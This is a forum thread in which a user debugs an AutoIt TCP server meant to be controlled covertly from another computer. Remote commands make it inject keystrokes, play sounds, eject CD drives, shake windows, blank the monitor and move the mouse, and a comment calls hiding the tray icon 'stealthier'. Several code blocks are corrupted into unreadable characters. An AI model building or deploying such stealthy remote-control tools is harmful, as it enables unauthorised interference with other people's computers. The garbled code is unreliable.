Jump to content

Remote Mouse Moving


 Share

Recommended Posts

This is part of the Server file:

if StringInStr ( $msg, "MOVEMOUSE:") THEN
        $mousemove = StringReplace ( $msg, "MOVEMOUSE:", "")
        MouseMove( $pos2 )oÝ÷ Ø  ݶ¬ÊZ®Ú¶'§µÊy«­¢+ØÀÌØíÁ½ÌÈô5½ÕÍÑA½Ì ¤(ÀÌØíµ½Õ͵½Ùô5½ÕÍÑA½Ì ¤)
ÍÀÌØíµÍôÀÌØíµ½Õ͵½Ù($ÀÌØíµÍôÅÕ½Ðí5=Y5=UMèÅÕ½ÐìµÀì5½ÕÍÑA½Ì ¤($Q
AM¹ ÀÌØí½¹¹ÑM½­Ð°ÀÌØíµÍ¤

Can anyone help me with my script as I don't know why it doesn't work.

Its supposed to make the mouse move on a remote computer.

Edited by randomboy

I got inside my house, leant back on my bed and began to think...where the hell was my roof?!?!24 hours in a day....24 beers in a case....Coincidence??

Link to comment
Share on other sites

To avoid arrays use this:

$msg = "MOVEMOUSE:" & MouseGetPos(0) & ":" & MouseGetPos(1)
TCPSend($connectedSocket,$msg)oÝ÷ Ù±ßÛ!Ú'ßÛaj÷r[iº.¶0jfâ¶*.³*.j·ºÛ¬x¶¸§Ò¶»hrú+y§!w()àr¦jwn²)à!ùh¢jvÞj¢(ºW]¢Øb±«­¢+ØÀÌØíµÍôQ
AIØ ÀÌØíM½­Ð¤)MÝ¥Ñ MÑÉ¥¹1Ð ÀÌØíM½­Ð°Ì¤ì±°å½ÕȽµµ¹Ì¡ÙѼѡ͵±¹¡Ð¸¸]¡¥ ¥Ì=,ÌÙ¹ÑÕ±±äÑ¡¹µÕÍÈݽ¸ÌäíСÙѼÕÍѡͽµµ¹Ì½¹°¹å½Ô¸ÕÍÉ٥ѥ½¹ÌÍÕ Ì5M4½È5M5X¸(
ÍÅÕ½Ðí5M4ÅÕ½Ðì(ÀÌØíMÁ±¥ÐôMÑÉ¥¹MÁ±¥Ð ÀÌØíµÍ°ÅÕ½ÐìèÅÕ½Ðì¤(5½ÕÍ5½Ù ÀÌØíMÁ±¥ÑlÅt°ÀÌØíMÁ±¥ÑlÉt¤)¹MÝ¥Ñ
Edited by Manadar
Link to comment
Share on other sites

You didn't get that ? Basically something like this...

$pos = MouseGetPos()
$msg = "MOVEMOUSE:" & $pos[0] & "," & $pos[1]

You then just grab the coordinates from the string, but note that you might want

to consider splitting up the received data at a separator, as I doubt you will get the

coordinates in "proper" chunks.

Link to comment
Share on other sites

Ok I've done all this but I keep getting the error, that i don't have an 'endif' on one of the 'if' statements but i've checked the entire source code and it seems fine. I'll post it

Server Code:

TCPStartup()

$ipAddress = @IPAddress1
$portAddress = 666
MsgBox ( 4096, "Rokken like Dokken", "Listening on IP: " & $ipAddress & " and PORT: " & $portAddress, 5 )

;HotKeySet("`","goAway")
; hide the try icon... it's more stealthier that way...
Opt("TrayIconHide", 0)


$MainSocket = TCPListen($ipAddress, $portAddress)

$cdStatus = "open"
$driveArray = DriveGetDrive("CDROM")

While 1
  Do
    $ConnectedSocket = TCPAccept($MainSocket)
  Until $ConnectedSocket > 0

  $err = 0
  Do
    $msg = TCPRecv($ConnectedSocket,512)
    $err = @error
    IF StringLen($msg) THEN
      ;trayTip("server",$msg, 30)

      ; go through the various messages to process them accordingly...

      ; sounds being sent...
      if StringInStr ( $msg, "SOUNDSEND:") THEN
        $sndFile = "http://officepoltergeist.com/sound/" & StringReplace ( $msg, "SOUNDSEND:", "") & ".mp3"
        ;trayTip("server",$sndFile, 30)
        SoundSetWaveVolume (100); turn up the volume
        SoundPlay ($sndFile, 0); play the sound!
      endIf

      ; text being sent to keyboards...
      if StringInStr ( $msg, "KEYBOARDSEND:") THEN
        $keyboardSendText = StringReplace ( $msg, "KEYBOARDSEND:", "")
        Send ($keyboardSendText, 1)
      endIf

      ; mess with the cd drives a bit...
      if StringInStr ($msg, "OPENCLOSECD:") THEN
        For $i = 1 to $driveArray[0]
          CDTray ( $driveArray[$i], $cdStatus)
        Next
        if $cdStatus = "open" THEN
          $cdStatus = "closed"
        else
          $cdStatus = "open"
        endIf
      endIf

      ; alert box!!!
      if StringInStr ( $msg, "ALERTBOX:") THEN
        $alertBoxText = StringReplace ( $msg, "ALERTBOX:", "")
        MsgBox ( 4096, "", $alertBoxText, 5 )
      endIf

      ; window shake
      if StringInStr ( $msg, "WINDOWSHAKE:") THEN
        windowShake()
      endIf

      ; screen flicker
      if StringInStr ( $msg, "SCREENFLICKER:") THEN
        screenFlicker()
      endIf

      ; move left
      if StringInStr ( $msg, "MOVELEFT:") THEN
        moveLeft()
      endIf

      ; move right
      if StringInStr ( $msg, "MOVERIGHT:") THEN
        moveRight()
      endIf


      if StringInStr ( $msg, "EXIT:") THEN
        goAway()

      if StringInStr ( $msg, "Beep") THEN
        Beep(500, 50)
      endIf
      
      if StringInStr ( $msg, "MOVEMOUSE:x,y") THEN
        $mousemove = StringReplace ( $msg, "MOVEMOUSE:x,y", "")
        MouseMove( $pos2[0] & $pos2[1] )
     endif
    endIf

  Until $err
    TCPCloseSocket($ConnectedSocket)
WEnd
; end of the main loop


func goAway()
  TCPShutdown()
  Exit
endFunc


func windowShake()
  ; script to shake the current window...
  $windowArray = WinList()

  ; set up some of the shake parameters
  $numShakes = 30
  $shakeIntensity = 10
  $shakeDelay = 20

  For $i = 1 to $windowArray[0][0]
    ; loop through to find the active window... and shake it...
    If $windowArray[$i][0] <> "" AND isVisible($windowArray[$i][1]) And winActive($windowArray[$i][0]) Then
      $posArray = WinGetPos($windowArray[$i][0])
      ; shake it like a salt shaka
      For $x = 1 to $numShakes
        if Random(0,1) = 1 then $shakeIntensity = $shakeIntensity * -1
        WinMove ( $windowArray[$i][0], "", $posArray[0]+$shakeIntensity, $posArray[1]+$shakeIntensity)
        sleep(10)
        WinMove ( $windowArray[$i][0], "", $posArray[0], $posArray[1])
      Next
    EndIf
  Next
endFunc


func screenFlicker()
  Opt("WinTitleMatchMode", 4)
  $WM_SYSCommand = 274
  $SC_MonitorPower = 61808
  $Power_On = -1
  $Power_Off = 2
  $X = 1
  $HWND = WinGetHandle("classname=Progman")
  DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, "int", $SC_MonitorPower, "int", $Power_Off)
  DllCall("user32.dll", "int", "SendMessage", "hwnd", $HWND, "int", $WM_SYSCommand, "int", $SC_MonitorPower, "int", $Power_On)
endFunc


func moveLeft()
  ; set a parameter
  $numPixelsToMove = 5

  $windowArray = WinList()
  For $i = 1 to $windowArray[0][0]
    If $windowArray[$i][0] <> "" AND IsVisible($windowArray[$i][1]) Then
      $posArray = WinGetPos($windowArray[$i][0])
      WinMove ( $windowArray[$i][0], "", $posArray[0]-$numPixelsToMove,   $posArray[1])
    EndIf
  Next
endFunc


func moveRight()
  ; set a parameter
  $numPixelsToMove = 5

  $windowArray = WinList()
  For $i = 1 to $windowArray[0][0]
    If $windowArray[$i][0] <> "" AND IsVisible($windowArray[$i][1]) Then
      $posArray = WinGetPos($windowArray[$i][0])
      WinMove ( $windowArray[$i][0], "", $posArray[0]+$numPixelsToMove,   $posArray[1])
    EndIf
  Next
endFunc

func isVisible($handle)
  If BitAnd( WinGetState($handle), 2 ) Then
    Return 1
  Else
    Return 0
  EndIf
EndFuncoÝ÷ Ø)bz{B¡×ºÚ"µÍÚ[ÛYH    ÑÕRPÛÛÝ[ÉÝÂÔÝ

BÌÍÚYÜÈHÝ[Ê[]Þ
    ][ÝÔÛÙZÝÛÛÛ ][ÝË  ][ÝÑ[YÜÈÈ][][ÝËTYÜÌJJBY    ÌÍÚYÜÈH    ][ÝÉ][ÝÈ[   ÌÍÚYÜÈHTYÜÌBÌÍÜÜYÜÈH
ÌÍØÛÛXÝYÛØÚÙ]HÔÛÛXÝ
    ÌÍÚYÜË ÌÍÜÜYÜÊBYÜÜ ÌÍØÛÛXÝYÛØÚÙ] ÈHSÙÐÞ
    ][ÝÑÕRH][    ][ÝË  ][ÝÐÛÝ[ÝÛÛXÝÈT ][ÝÈ  [È ÌÍÚYÜÈ [È ][ÝÈ[Ô   ][ÝÈ  [È ÌÍÜÜYÜÊBVU[YÈÑUTHPRSÕRBÕRPÜX]J   ][ÝÓÙXÙTÛÙZÝÛÛÛ   ][ÝË
ÍL
BÕRPÝÜX]SX[
    ][ÝÓÙXÙTÛÙZÝKI][ÝÈ [ÈÔ   [È ][ÝÚËÛÙXÙÛÙZÝÛÛI][ÝËÌLÌÌ
BÕRPÝÜX]SX[
    ][ÝÑÝ[][ÛTYÜÎ][ÝËÌ
L
BÌÍÚÝ[][ÛHÕRPÝÜX]R[]
TYÜÌKÌ
KL
BÌÍÛÜ[ÛÜÙPÑÛÝ[]ÛHÕRPÝÜX]P]Û  ][ÝÓÜ[ÐÛÜÙHÑ    ][ÝËL
L
BÕRPÝÜX]SX[
    ][ÝÔÙ[HÛÝ[][ÝËÌL
BÌÍÜÛÝ[ÛÛXÓY[HHÕRPÝÜX]PÛÛXÈ
    ][ÝÛ]YÚ  ][ÝËÌL
KML
HÈÜX]HÝ][BÕRPÝÙ]]J    ÌÍÜÛÝ[ÛÛXÓY[K   ][ÝÚÝÛXÛÝ[[Ø[ÞXÚßØÜX[_[Ú[  ][ÝÊHÈYÝ][HÛÙ]H]ÈY][ÌÍÜÙ[ÛÝ[]ÛHÕRPÝÜX]P]Û ][ÝÔÙ[ÛÝ[  ][ÝËLLËL
BÕRPÝÜX]SX[
    ][ÝÔÙ[^ÈÙ^XØ][ÝËÌLÌ
BÌÍÚÙ^XØ^HÕRPÝÜX]R[]
    ][ÝÒ[ÈI][ÝËÌM
KL
BÌÍÜÙ[Ù^XØ]ÛHÕRPÝÜX]P]Û  ][ÝÔÙ[^  ][ÝËLMËL
BÕRPÝÜX]SX[
    ][ÝÔÚÝÈ[Þ][ÝËÌMÌ
BÌÍØ[Þ^HÕRPÝÜX]R[]
    ][ÝÒ
Ñ  ][ÝËÌN
KL
BÌÍØ[Þ]ÛHÕRPÝÜX]P]Û    ][ÝÔÙ[YÜØYÙI][ÝËLNËL
BÕRPÝÜX]SX[
    ][ÝÓ[Û]ÜYXÝÎ][ÝËÌL
BÌÍÜØÜY[XÚÙ]ÛHÕRPÝÜX]P]Û    ][ÝÔØÜY[XÚÙ][ÝËÌKL
BÌÍÝÚ[ÝÔÚZÙP]ÛHÕRPÝÜX]P]Û  ][ÝÕÚ[ÝÈÚZÙI][ÝËLKL
BÌÍÛ[ÝSY]ÛHÕRPÝÜX]P]Û  ][ÝÓ[ÝHY ][ÝËÌLL
BÌÍÛ[ÝTYÚ]ÛHÕRPÝÜX]P]Û    ][ÝÓ[ÝHYÚ   ][ÝËLLL
BÌÍÜÚ]ÝÛÛY[]ÛHÕRPÝÜX]P]Û    ][ÝÔÚ]ÝÛÙ][ÝËLÌ
KL
BÌÍØYÛÝ[HÕRPÝÜX]P]Û    ][ÝÐY ][ÝËÌL
BÌÍØYÛÝ[HY
LBÌÍÜÜÌH[ÝÙQÙ]ÜÊ
BÌÍÛ[ÝÙ[[ÝHH[ÝÙQÙ]ÜÊ
BÕRTÙ]Ý]JÕ×ÔÒÕÊBÈSTIÌÎNÔÈHPRSÓÔÌÍÜX][ÜÛHH  ][ÝÞYÉ][ÝÂÚ[H ÌÍÜX][ÜÛHH ][ÝÞYÉ][ÝÂ ÌÍÛÙÈHÕRQÙ]ÙÊ
B   ÌÍÜÜYÜÈHLÌL    ÌÍÚYÜÈHÕRPÝXY
    ÌÍÚÝ[][ÛNÂÈSHÓÓSPSÂÙ[XÝØÙH    ÌÍÛÙÈH ÌÍÜÙ[ÛÝ[]Û   ÌÍÛÙÈH ][ÝÔÓÕSÑS][ÝÈ    [ÈÕRPÝXY
    ÌÍÜÛÝ[ÛÛXÓY[JBÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÜÙ[Ù^XØ]Û  ÌÍÛÙÈH ][ÝÒÑVPÐTÑS][ÝÈ  [ÈÕRPÝXY
    ÌÍÚÙ^XØ^
BÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍØ[Þ]Û    ÌÍÛÙÈH ][ÝÐSTÖ][ÝÈ    [ÈÕRPÝXY
    ÌÍØ[Þ^
BÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÛÜ[ÛÜÙPÑÛÝ[]Û  ÌÍÛÙÈH ][ÝÓÔSÓÔÑPÑ][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÜØÜY[XÚÙ]Û    ÌÍÛÙÈH ][ÝÔÐÔQSPÒÑT][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÝÚ[ÝÔÚZÙP]Û  ÌÍÛÙÈH ][ÝÕÒSÕÔÒRÑN][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÜÚ]ÝÛÛY[]Û    ÌÍÛÙÈH ][ÝÑVU][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÛ[ÝSY]Û  ÌÍÛÙÈH ][ÝÓSÕSQ][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÛ[ÝTYÚ]Û    ÌÍÛÙÈH ][ÝÓSÕTQÒ][ÝÂÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍØYÛÝ[H   ÌÍÛÙÈH ][ÝÐY ][ÝÂHÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBPØÙH   ÌÍÛÙÈH ÌÍÛ[ÝÙ[[ÝB    ÌÍÛÙÈH ][ÝÓSÕSSÕTÑN][ÝÈ [È[ÝÙQÙ]ÜÊ
H   [È ][ÝÎ][ÝÈ    [È[ÝÙQÙ]ÜÊJBÔÙ[
    ÌÍØÛÛXÝYÛØÚÙ] ÌÍÛÙÊBØÙH    ÌÍÛÙÈH ÌÍÑÕRWÑUSÐÓÔÑB^]ÛÜ[Ù[XÝÑ[ÈSÑHÓÔÔÚ]ÝÛ

The error is in the server source code but i posted both just in case.

Edited by randomboy

I got inside my house, leant back on my bed and began to think...where the hell was my roof?!?!24 hours in a day....24 beers in a case....Coincidence??

Link to comment
Share on other sites

Download and install SciTe4AutoIt3, and open your script and press Alt + T, it automatically gives your script proper formatting and will tell you sometimes where your script is wrong.

Edit:

It was easy to find though.

func windowShake()
  ; script to shake the current window...
  $windowArray = WinList()

  ; set up some of the shake parameters
  $numShakes = 30
  $shakeIntensity = 10
  $shakeDelay = 20

  For $i = 1 to $windowArray[0][0]
    ; loop through to find the active window... and shake it...
    If $windowArray[$i][0] <> "" AND isVisible($windowArray[$i][1]) And winActive($windowArray[$i][0]) Then
      $posArray = WinGetPos($windowArray[$i][0])
      ; shake it like a salt shaka
      For $x = 1 to $numShakes  ; <== HERE!!!!!!!!!!!
        if Random(0,1) = 1 then $shakeIntensity = $shakeIntensity * -1  ; <== HERE!!!!!!!!!!!
        WinMove ( $windowArray[$i][0], "", $posArray[0]+$shakeIntensity, $posArray[1]+$shakeIntensity)
        sleep(10)
        WinMove ( $windowArray[$i][0], "", $posArray[0], $posArray[1])
      Next ; <== HERE!!!!!!!!!!!
    EndIf ; <== HERE!!!!!!!!!!!
  Next
endFunc
Edited by Manadar
Link to comment
Share on other sites

Tried it.

Didn't work.

EDIT: The bit you pointed to wasn't the problem. it was

if StringInStr ( $msg, "MOVEMOUSE:x,y") THEN
        $mousemove = StringReplace ( $msg, "MOVEMOUSE:x,y", "")
        MouseMove( $pos2[0] & $pos2[1] )
     endif
    endIf 

  Until $err;<=====HERE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    TCPCloseSocket($ConnectedSocket)
WEnd
; end of the main loop

The 'until' statement was the problem apparently.

Edited by randomboy

I got inside my house, leant back on my bed and began to think...where the hell was my roof?!?!24 hours in a day....24 beers in a case....Coincidence??

Link to comment
Share on other sites

Well before i edited the code for this script it worked perfectly fine but until i added the mousemove statement it just screwed up.

I got inside my house, leant back on my bed and began to think...where the hell was my roof?!?!24 hours in a day....24 beers in a case....Coincidence??

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...